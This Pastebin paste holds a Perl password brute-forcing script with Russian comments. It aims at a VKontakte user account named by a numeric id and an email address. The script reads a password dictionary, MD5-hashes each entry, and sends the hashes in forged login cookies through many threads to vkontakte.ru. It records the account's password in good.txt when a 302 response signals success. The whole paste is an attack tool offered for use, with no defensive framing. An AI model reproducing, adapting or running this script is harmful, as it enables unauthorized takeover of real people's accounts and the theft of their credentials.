Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $dic = 'passl.txt'; #словарь паролей
- $id = 111111; #id http://vk.com/id260052677
- $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
- $threads = 4; #количество потоков (чем больше потоков тем больше и скорость поиска )
- ######################################
- open (pass, "<$dic");
- Next:
- @pass = pass();
- for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
- for(@trl) { $_->join; }
- sub Brut
- {
- while (@pass){
- $pass = shift @pass;
- $md5 = MD5->hexhash($pass);
- $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
- print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
- "Host: vkontakte.ru\r\n".
- "Accept: */*\r\n".
- "Content-Type: application/x-www-form-urlencoded\r\n".
- "User-Agent: Mozillo\r\n".
- "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
- "Connection: close\r\n\r\n";
- $answ = <$sock>;
- close $sock;
- print "$pass $answ";
- if ($answ =~ /302/){
- open (good, '>>good.txt');
- print good "$id:$pass:$md5\n";
- print "$id:$pass:$md5\n";
- close good;
- exit;}
- }
- }
- goto Next;
- sub pass
- {
- my (@mas);
- while (<pass>){
- push @mas, $_;
- last if (@mas == 400);
- }
- chomp @mas;
- return @mas;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement